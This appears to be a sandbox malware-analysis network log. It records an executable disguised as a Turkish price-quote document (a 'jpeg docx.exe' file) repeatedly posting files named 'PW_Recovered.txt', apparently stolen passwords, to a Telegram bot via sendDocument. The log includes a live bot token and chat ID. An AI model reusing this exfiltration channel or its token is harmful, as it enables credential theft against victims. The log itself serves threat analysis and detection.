2025-01-06 12:57:55 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 30 61 62 35 36 35 30 32 64 65 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd30ab56502decContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:57:56 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:57:56 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:57:56 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 35 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 32 37 36 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27659,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168276,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	62551	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:56 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd30bbdb1cf78c Host: api.telegram.org Content-Length: 584
2025-01-06 12:57:56 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 30 62 62 64 62 31 63 66 37 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd30bbdb1cf78cContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:57:57 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:57:57 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:57:57 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 36 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 32 37 37 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27661,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168277,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	62552	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:57 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd30cee2270ffb Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:57:57 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 30 63 65 65 32 32 37 30 66 66 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd30cee2270ffbContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:57:58 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:57:58 GMT Content-Type: application/json Content-Length: 533 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:57:58 UTC	533	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 36 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 32 37 38 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27663,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168278,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	62553	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:58 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd30e1dfba5f92 Host: api.telegram.org Content-Length: 584
2025-01-06 12:57:58 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 30 65 31 64 66 62 61 35 66 39 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd30e1dfba5f92Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:57:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:57:59 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:57:59 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 36 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 32 37 39 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27665,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168279,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	62554	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:59 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd30f3918b5ad8 Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:57:59 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 30 66 33 39 31 38 62 35 61 64 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd30f3918b5ad8Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:02 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:03 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 36 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 32 38 32 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27667,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168282,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	62555	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:03 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd315331d7c9f7 Host: api.telegram.org Content-Length: 584
2025-01-06 12:58:03 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 31 35 33 33 31 64 37 63 39 66 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd315331d7c9f7Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:03 UTC	370	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:03 GMT Content-Type: application/json Content-Length: 111 Connection: close Retry-After: 16 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:03 UTC	111	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 31 36 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 31 36 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 16","parameters":{"retry_after":16}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	62556	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:04 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd3169bcd41786 Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:58:04 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 31 36 39 62 63 64 34 31 37 38 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd3169bcd41786Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:05 UTC	370	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:04 GMT Content-Type: application/json Content-Length: 111 Connection: close Retry-After: 15 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:05 UTC	111	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 31 35 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 31 35 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 15","parameters":{"retry_after":15}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	62557	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:05 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd3187beb604e5 Host: api.telegram.org Content-Length: 584
2025-01-06 12:58:05 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 31 38 37 62 65 62 36 30 34 65 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd3187beb604e5Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:05 UTC	370	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:05 GMT Content-Type: application/json Content-Length: 111 Connection: close Retry-After: 14 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:05 UTC	111	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 31 34 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 31 34 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 14","parameters":{"retry_after":14}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	62558	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

